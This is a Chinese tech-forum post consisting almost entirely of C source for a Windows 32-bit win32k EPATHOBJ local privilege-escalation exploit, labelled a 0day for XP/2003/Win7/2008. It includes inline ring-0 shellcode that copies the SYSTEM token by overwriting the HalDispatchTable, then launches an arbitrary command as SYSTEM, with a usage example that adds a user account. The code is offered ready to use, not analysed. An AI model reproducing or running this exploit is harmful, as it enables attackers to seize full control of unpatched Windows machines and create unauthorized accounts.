电脑疯子技术论坛|电脑极客社区

微信扫一扫 分享朋友圈

已有 510 人浏览分享

windows 32位 EPATHOBJ 提权 0day[影响xp/2003/win7/2008 (*32bit*)]

 关闭 [复制链接]
510 0
  1. #include <stdio.h>
  2. #include <STDARG.H>
  3. #include <stddef.h>
  4. #include <windows.h>
  5. //#include <ntstatus.h>

  6. #pragma comment(lib, "gdi32")
  7. #pragma comment(lib, "kernel32")
  8. #pragma comment(lib, "user32")

  9. #define MAX_POLYPOINTS (8192 * 3)
  10. #define MAX_REGIONS 8192
  11. #define CYCLE_TIMEOUT 10000

  12. #pragma comment(linker, "/SECTION:.text,ERW")

  13. //
  14. // win32k!EPATHOBJ::pprFlattenRec uninitialized Next pointer testcase.
  15. //
  16. // Tavis Ormandy <taviso () cmpxchg8b com>, March 2013
  17. //

  18. POINT       Points[MAX_POLYPOINTS];
  19. BYTE        PointTypes[MAX_POLYPOINTS];
  20. HRGN        Regions[MAX_REGIONS];
  21. ULONG       NumRegion = 0;
  22. HANDLE      Mutex;

  23. // Log levels.
  24. typedef enum { L_DEBUG, L_INFO, L_WARN, L_ERROR } LEVEL, *PLEVEL;

  25. VOID LogInit();
  26. VOID LogRelase();
  27. BOOL LogMessage(LEVEL Level, PCHAR Format, ...);

  28. // Copied from winddi.h from the DDK
  29. #define PD_BEGINSUBPATH   0x00000001
  30. #define PD_ENDSUBPATH     0x00000002
  31. #define PD_RESETSTYLE     0x00000004
  32. #define PD_CLOSEFIGURE    0x00000008
  33. #define PD_BEZIERS        0x00000010

  34. #define ENABLE_SWITCH_DESKTOP  1

  35. typedef struct  _POINTFIX
  36. {
  37.     ULONG x;
  38.     ULONG y;
  39. } POINTFIX, *PPOINTFIX;

  40. // Approximated from reverse engineering.
  41. typedef struct _PATHRECORD {
  42.     struct _PATHRECORD *next;
  43.     struct _PATHRECORD *prev;
  44.     ULONG               flags;
  45.     ULONG               count;
  46.     POINTFIX            points[4];
  47. } PATHRECORD, *PPATHRECORD;

  48. PPATHRECORD PathRecord;
  49. PATHRECORD  ExploitRecord = {0};
  50. PPATHRECORD ExploitRecordExit;

  51. typedef struct _RTL_PROCESS_MODULE_INFORMATION {
  52.     HANDLE Section;                 // Not filled in
  53.     PVOID MappedBase;
  54.     PVOID ImageBase;
  55.     ULONG ImageSize;
  56.     ULONG Flags;
  57.     USHORT LoadOrderIndex;
  58.     USHORT InitOrderIndex;
  59.     USHORT LoadCount;
  60.     USHORT OffsetToFileName;
  61.     UCHAR  FullPathName[ 256 ];
  62. } RTL_PROCESS_MODULE_INFORMATION, *PRTL_PROCESS_MODULE_INFORMATION;

  63. typedef struct _RTL_PROCESS_MODULES {
  64.     ULONG NumberOfModules;
  65.     RTL_PROCESS_MODULE_INFORMATION Modules[ 1 ];
  66. } RTL_PROCESS_MODULES, *PRTL_PROCESS_MODULES;

  67. typedef ULONG ( __stdcall *NtQueryIntervalProfile_ ) ( ULONG, PULONG );
  68. typedef ULONG ( __stdcall *NtQuerySystemInformation_ ) ( ULONG, PVOID, ULONG, PULONG );
  69. typedef ULONG ( __stdcall *NtAllocateVirtualMemory_ ) ( HANDLE, PVOID, ULONG, PULONG, ULONG, ULONG );
  70. typedef ULONG ( __stdcall *NtFreeVirtualMemory_)( HANDLE, PVOID, PULONG, ULONG);

  71. NtQueryIntervalProfile_  NtQueryIntervalProfile;
  72. NtAllocateVirtualMemory_ NtAllocateVirtualMemory;
  73. NtQuerySystemInformation_ NtQuerySystemInformation;
  74. NtFreeVirtualMemory_ NtFreeVirtualMemory;
  75. ULONG    PsInitialSystemProcess, PsReferencePrimaryToken,
  76.      PsGetThreadProcess, WriteToHalDispatchTable, FixAddress;

  77. void _declspec(naked) ShellCode()
  78. {
  79.     __asm
  80.     {
  81.       pushad
  82.       pushfd
  83.       mov esi,PsReferencePrimaryToken
  84. FindTokenOffset:
  85.       lodsb
  86.       cmp al, 8Dh;
  87.       jnz FindTokenOffset
  88.       mov edi,[esi+1]
  89.       mov esi,PsInitialSystemProcess
  90.       mov esi,[esi]
  91.       push fs:[124h]
  92.       mov eax,PsGetThreadProcess
  93.       call eax
  94.       add esi, edi
  95.       push esi
  96.       add edi, eax
  97.       movsd
  98.       
  99.       ;add token ref count.
  100.       pop esi
  101.       mov esi, [esi]
  102.       and esi, 0xFFFFFFF8
  103.       lea eax, [esi-0x18]
  104.       mov DWORD PTR [eax], 0x016B00B5
  105.       ;fix the haltable
  106.       mov eax, WriteToHalDispatchTable
  107.       mov ecx, FixAddress
  108.       mov [ecx], 0xC3
  109.       mov DWORD PTR [eax], ecx

  110.       popfd
  111.       popad
  112.       ;set ret code for NtQueryIntervalProfile
  113.       mov eax, [esp+0xc]
  114.       mov DWORD PTR [eax+4], 1
  115.       mov DWORD PTR [eax+8], 0xC0000018
  116.       xor eax, eax
  117.       ret
  118.     }
  119. }

  120. DWORD WINAPI WatchdogThread(LPVOID Parameter)
  121. {
  122.   //
  123.     // This routine waits for a mutex object to timeout, then patches the
  124.     // compromised linked list to point to an exploit. We need to do this.
  125.     //

  126.   LogMessage(L_INFO, "Watchdog thread %d waiting on Mutex", GetCurrentThreadId());
  127.   
  128.     if (WaitForSingleObject(Mutex, CYCLE_TIMEOUT) == WAIT_TIMEOUT) {
  129.    
  130.     //
  131.         // It looks like the main thread is stuck in a call to FlattenPath(),
  132.         // because the kernel is spinning in EPATHOBJ::bFlatten(). We can clean
  133.         // up, and then patch the list to trigger our exploit.
  134.         //

  135.     while (NumRegion--)
  136.             DeleteObject(Regions[NumRegion]);
  137.    
  138.         LogMessage(L_ERROR, "InterlockedExchange(0x%08x, 0x%08x);", &PathRecord->next, &ExploitRecord);
  139.    
  140.         InterlockedExchange((PLONG)&PathRecord->next, (LONG)&ExploitRecord);
  141.    
  142.     } else {
  143.         LogMessage(L_ERROR, "Mutex object did not timeout, list not patched");
  144.     }
  145.   
  146.     return 0;
  147. }

  148. void wellcome()
  149. {
  150.   printf("\t\tthe win32k.sys EPATHOBJ 0day exploit\n");
  151.   printf("***********************\n");
  152. ********************************************
  153.   printf("***\ttested system:xp/2003/win7/2008 (*32bit*)\t\t***\n");
  154.   printf("*******************************************************************\n");
  155. }

  156. void usage()
  157. {
  158.   printf("\nusage:\n<app> <cmd> <parameter>\n");
  159.   printf("example:\napp.exe net "user 111 111 /add"");
  160. }

  161. BOOL
  162. FindAFixAddress(
  163.   ULONG NtoskrnlBase)
  164. {
  165.   FixAddress = NtoskrnlBase + FIELD_OFFSET(IMAGE_DOS_HEADER, e_res2);
  166.   LogMessage(L_INFO, "Get FixAddress --> 0x%08x", FixAddress);
  167.   return TRUE;

  168. }

  169. // 0x602464FF; /*jmp esp+0x60*/
  170. // 0x51C3686A; /*push 0; ret*/
  171. DWORD CheckMagicDword()
  172. {
  173.   OSVERSIONINFOEX OSVer;
  174.   DWORD dwMagic = 0;

  175.     OSVer.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);
  176.     if(GetVersionEx((OSVERSIONINFO *)&OSVer)){
  177.     switch(OSVer.dwMajorVersion){
  178.     case 5:
  179.       dwMagic = 0x602464FF;
  180.       break;
  181.     case 6:
  182.       dwMagic = 0x642464FF;
  183.       break;
  184.     default:
  185.       dwMagic = 0;
  186.     }
  187.   }
  188.   return dwMagic;
  189. }


  190. int main(int argc, char **argv)
  191. {
  192.     HANDLE      Thread;
  193.     HDC         Device;
  194.     ULONG       Size;
  195.     ULONG       PointNum;
  196.   int nret = 0;
  197.   
  198.   DWORD MAGIC_DWORD = CheckMagicDword();
  199.     ULONG AllocSize = 0x1000, status, NtoskrnlBase;
  200.   RTL_PROCESS_MODULES  module;
  201.   HMODULE ntoskrnl = NULL;
  202.   DWORD dwFix;
  203.   ULONG Address = MAGIC_DWORD & 0xFFFFF000;
  204.   LONG ret;
  205.   BOOL bRet = FALSE;
  206. #ifdef ENABLE_SWITCH_DESKTOP
  207.   HDESK hDesk;
  208. #endif
  209.     HMODULE  ntdll = GetModuleHandle( "ntdll.dll" );
  210.   
  211.   wellcome();

  212.   if (argc < 2){
  213.     usage();
  214.     return -1;
  215.   }

  216.   if (!MAGIC_DWORD){
  217.     LogMessage(L_ERROR, "unsupported system version\n");
  218.     return -1;
  219.   }

  220.   LogInit();

  221.   NtQueryIntervalProfile    =  (NtQueryIntervalProfile_)GetProcAddress( ntdll ,"NtQueryIntervalProfile" );
  222.     NtAllocateVirtualMemory    =  (NtAllocateVirtualMemory_)GetProcAddress( ntdll ,"NtAllocateVirtualMemory" );
  223.     NtQuerySystemInformation  =  (NtQuerySystemInformation_)GetProcAddress( ntdll ,"NtQuerySystemInformation" );
  224.   NtFreeVirtualMemory =  (NtFreeVirtualMemory_)GetProcAddress( ntdll ,"NtFreeVirtualMemory" );
  225.     if ( !NtQueryIntervalProfile || !NtAllocateVirtualMemory ||
  226.      !NtQuerySystemInformation || !NtFreeVirtualMemory){
  227.     LogMessage(L_ERROR, "get function address error\n");
  228.     LogRelase();
  229.     return -1;
  230.   }
  231.   
  232.   //
  233.   // try to allocate memory.
  234.   //

  235.   while (TRUE){
  236.     ret = NtAllocateVirtualMemory( (HANDLE)-1, &Address, 0, &AllocSize, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
  237.     if(ret < 0){
  238.       MEMORY_BASIC_INFORMATION meminfo;
  239.       LogMessage(L_ERROR, "allocate memory error code 0x%08x", ret);
  240.       LogMessage(L_INFO, "try to free memory");
  241.       if(VirtualQuery((LPVOID)Address, &meminfo, sizeof(meminfo))){
  242.         LogMessage(L_INFO, "meminfo state %d %d\n", meminfo.State, meminfo.Protect);
  243.       }
  244.       ret = NtFreeVirtualMemory((HANDLE)-1, &Address, &AllocSize, MEM_RELEASE);
  245.       if (ret < 0){
  246.         LogMessage(L_ERROR, "free memory error code 0x%08x", ret);
  247.         LogRelase();
  248.         return -1;
  249.       }
  250.     }else{
  251.       break;
  252.     }
  253.   }
  254.   
  255.   //
  256.   // get the kernel info
  257.   //

  258.     status = NtQuerySystemInformation( 11, &module, sizeof(RTL_PROCESS_MODULES), NULL);//SystemModuleInformation 11
  259.     if ( status != 0xC0000004 ){
  260.     LogMessage(L_ERROR, "NtQuerySystemInformation error code:0x%08x\n", status);
  261.         LogRelase();
  262.     return -1;
  263.   }
  264.   
  265.     NtoskrnlBase     =  (ULONG)module.Modules[0].ImageBase;
  266.   
  267.     //
  268.     // 把ntoskrnl.exe加载进来
  269.     //
  270.   
  271.     ntoskrnl = LoadLibraryA( (LPCSTR)( module.Modules[0].FullPathName + module.Modules[0].OffsetToFileName ) );
  272.     if (ntoskrnl == NULL){
  273.     LogMessage(L_ERROR, "LoadLibraryA error code:0x%08x\n", GetLastError());
  274.         LogRelase();
  275.     return -1;
  276.   }
  277.    
  278.     //
  279.     // 计算实际地址
  280.     //
  281.   
  282.     WriteToHalDispatchTable =  (ULONG)GetProcAddress(ntoskrnl,"HalDispatchTable") - (ULONG)ntoskrnl + NtoskrnlBase + 4;
  283.     PsInitialSystemProcess =  (ULONG)GetProcAddress(ntoskrnl,"PsInitialSystemProcess") - (ULONG)ntoskrnl + NtoskrnlBase;
  284.     PsReferencePrimaryToken = (ULONG)GetProcAddress(ntoskrnl,"PsReferencePrimaryToken") - (ULONG)ntoskrnl + NtoskrnlBase;
  285.     PsGetThreadProcess =  (ULONG)GetProcAddress(ntoskrnl,"PsGetThreadProcess") - (ULONG)ntoskrnl + NtoskrnlBase;
  286.   
  287.   if(!FindAFixAddress(NtoskrnlBase)){
  288.     LogMessage(L_ERROR, "Can not Find A Fix Address\n");
  289.     nret = -1;
  290.     goto __end;
  291.   }

  292.   //
  293.     // Create our PATHRECORD in user space we will get added to the EPATHOBJ
  294.     // pathrecord chain.
  295.     //

  296.   PathRecord = (PPATHRECORD)VirtualAlloc(NULL,
  297.                               sizeof(PATHRECORD),
  298.                               MEM_COMMIT | MEM_RESERVE,
  299.                               PAGE_EXECUTE_READWRITE);

  300.     LogMessage(L_INFO, "Alllocated userspace PATHRECORD () %p", PathRecord);
  301.   
  302.   //
  303.     // Initialize with recognizable debugging values.
  304.     //

  305.   FillMemory(PathRecord, sizeof(PATHRECORD), 0xCC);

  306.     PathRecord->next    = PathRecord;
  307.     PathRecord->prev    = (PPATHRECORD)(0x42424242);
  308.   
  309.   //
  310.     // You need the PD_BEZIERS flag to enter EPATHOBJ::pprFlattenRec() from
  311.     // EPATHOBJ::bFlatten(). We don't set it so that we can trigger an infinite
  312.     // loop in EPATHOBJ::bFlatten().
  313.     //

  314.   PathRecord->flags   = 0;

  315.     LogMessage(L_INFO, "  ->next  @ %p", PathRecord->next);
  316.     LogMessage(L_INFO, "  ->prev  @ %p", PathRecord->prev);
  317.     LogMessage(L_INFO, "  ->flags @ %u", PathRecord->flags);
  318.   
  319.   ExploitRecordExit = (PPATHRECORD)MAGIC_DWORD;
  320.   ExploitRecordExit->next = NULL;
  321.   ExploitRecordExit->next = NULL;
  322.   ExploitRecordExit->flags = PD_BEGINSUBPATH;
  323.   ExploitRecordExit->count = 0;
  324.   

  325.   ExploitRecord.next  = (PPATHRECORD)MAGIC_DWORD;
  326.     ExploitRecord.prev  = (PPATHRECORD)WriteToHalDispatchTable;
  327.     ExploitRecord.flags = PD_BEZIERS | PD_BEGINSUBPATH;
  328.   ExploitRecord.count = 4;
  329.   
  330.     LogMessage(L_INFO, "Creating complex bezier path with %x", (ULONG)(PathRecord) >> 4);
  331.   
  332.   //
  333.     // Generate a large number of Belier Curves made up of pointers to our
  334.     // PATHRECORD object.
  335.     //

  336.   for (PointNum = 0; PointNum < MAX_POLYPOINTS; PointNum++) {
  337.         Points[PointNum].x      = (ULONG)(PathRecord) >> 4;
  338.         Points[PointNum].y      = (ULONG)(PathRecord) >> 4;
  339.         PointTypes[PointNum]    = PT_BEZIERTO;
  340.     }

  341.   //
  342.     // Switch to a dedicated desktop so we don't spam the visible desktop with
  343.     // our Lines (Not required, just stops the screen from redrawing slowly).
  344.     //
  345. #ifdef ENABLE_SWITCH_DESKTOP
  346.   hDesk = CreateDesktop( "DontPanic",
  347.               NULL,
  348.               NULL,
  349.               0,
  350.               GENERIC_ALL,
  351.                NULL);
  352.   if (hDesk){
  353.     SetThreadDesktop(hDesk);
  354.   }
  355. #endif
  356.   
  357.   while (TRUE){

  358.     BOOL bBreak = FALSE;

  359.     Mutex = CreateMutex(NULL, TRUE, NULL);
  360.     if (!Mutex){
  361.       LogMessage(L_INFO, "Allocated %u HRGN objects", NumRegion);
  362.       nret = -1;
  363.       goto __end;
  364.     }
  365.    
  366.     //
  367.     // Get a handle to this Desktop.
  368.     //

  369.     Device = GetDC(NULL);
  370.    
  371.     //
  372.     // Spawn a thread to cleanup
  373.     //

  374.     Thread = CreateThread(NULL, 0, WatchdogThread, NULL, 0, NULL);
  375.    
  376.     LogMessage(L_INFO, "start CreateRoundRectRgn");
  377.    
  378.     //
  379.     // We need to cause a specific AllocObject() to fail to trigger the
  380.     // exploitable condition. To do this, I create a large number of rounded
  381.     // rectangular regions until they start failing. I don't think it matters
  382.     // what you use to exhaust paged memory, there is probably a better way.
  383.     //
  384.     // I don't use the simpler CreateRectRgn() because it leaks a GDI handle on
  385.     // failure. Seriously, do some damn QA Microsoft, wtf.
  386.     //

  387.     for (Size = 1 << 26; Size; Size >>= 1) {
  388.       while (TRUE){
  389.         HRGN hm = CreateRoundRectRgn(0, 0, 1, Size, 1, 1);
  390.         if (!hm){
  391.           break;
  392.         }
  393.         if (NumRegion < MAX_REGIONS){
  394.           Regions[NumRegion] = hm;
  395.           NumRegion++;
  396.         }else{
  397.           NumRegion = 0;
  398.         }
  399.       }
  400.     }

  401.     LogMessage(L_INFO, "Allocated %u HRGN objects", NumRegion);

  402.     LogMessage(L_INFO, "Flattening curves...");
  403.    
  404.     //
  405.     // Begin filling the free list with our points.
  406.     //
  407.    
  408.     dwFix = *(PULONG)ShellCode;

  409.     for (PointNum = MAX_POLYPOINTS; PointNum; PointNum -= 3) {
  410.       BeginPath(Device);
  411.       PolyDraw(Device, Points, PointTypes, PointNum);
  412.       EndPath(Device);
  413.       FlattenPath(Device);
  414.       FlattenPath(Device);
  415.       
  416.       //
  417.       // call the function to exploit.
  418.       //

  419.       ret = NtQueryIntervalProfile(2, (PULONG)ShellCode);
  420.       
  421.       //
  422.       // we will set the status with 0xC0000018 in ring0 shellcode.
  423.       //

  424.       if (*(PULONG)ShellCode == 0xC0000018){
  425.         bRet = TRUE;
  426.         break;
  427.       }
  428.       
  429.       //
  430.       // fix
  431.       //
  432.       
  433.       *(PULONG)ShellCode = dwFix;

  434.       EndPath(Device);
  435.     }
  436.    
  437.     if (bRet){
  438.       LogMessage(L_INFO, "Exploit ok run command");
  439.       ShellExecute( NULL, "open", argv[1], argc > 2 ? argv[2] : NULL, NULL, SW_SHOW);
  440.       bBreak = TRUE;
  441.     }else{
  442.       LogMessage(L_INFO, "No luck, cleaning up. and try again..");
  443.     }
  444.    
  445.     //
  446.     // If we reach here, we didn't trigger the condition. Let the other thread know.
  447.     //

  448.     ReleaseMutex(Mutex);
  449.    
  450.     ReleaseDC(NULL, Device);
  451.     WaitForSingleObject(Thread, INFINITE);

  452.     if (bBreak){
  453.       break;
  454.     }

  455.   }
  456. __end:
  457.   LogRelase();
  458.   if (ntoskrnl)
  459.     FreeLibrary(ntoskrnl);
  460. #ifdef ENABLE_SWITCH_DESKTOP
  461.   if (hDesk){
  462.     CloseHandle(hDesk);
  463.   }
  464. #endif
  465.     return nret;
  466. }

  467. CRITICAL_SECTION gCSection;

  468. VOID LogInit()
  469. {
  470.   InitializeCriticalSection(&gCSection);
  471. }

  472. VOID LogRelase()
  473. {
  474.   DeleteCriticalSection(&gCSection);
  475. }

  476. //
  477. // A quick logging routine for debug messages.
  478. //

  479. BOOL LogMessage(LEVEL Level, PCHAR Format, ...)
  480. {
  481.     CHAR Buffer[1024] = {0};
  482.     va_list Args;
  483.   
  484.   EnterCriticalSection(&gCSection);

  485.     va_start(Args, Format);
  486.     _snprintf(Buffer, sizeof(Buffer), Format, Args);
  487.     va_end(Args);

  488.     switch (Level) {
  489.         case L_DEBUG: fprintf(stdout, "[?] %s\n", Buffer); break;
  490.         case L_INFO:  fprintf(stdout, "[+] %s\n", Buffer); break;
  491.         case L_WARN:  fprintf(stderr, "[*] %s\n", Buffer); break;
  492.         case L_ERROR: fprintf(stderr, "[!] %s\n", Buffer); break;
  493.     }
  494.   
  495.     fflush(stdout);
  496.     fflush(stderr);
  497.   
  498.   LeaveCriticalSection(&gCSection);

  499.     return TRUE;
  500. }
复制代码
此漏洞在做压力测试的时候发现。

评分

参与人数 1威望 +1 金币 +1 收起 理由
电脑大痞子 + 1 + 1 神马都是浮云

查看全部评分

您需要登录后才可以回帖 登录 | 注册

本版积分规则

1

关注

23

粉丝

2901

主题
精彩推荐
热门资讯
网友晒图
图文推荐

Powered by Pcgho! X3.4

© 2008-2022 Pcgho Inc.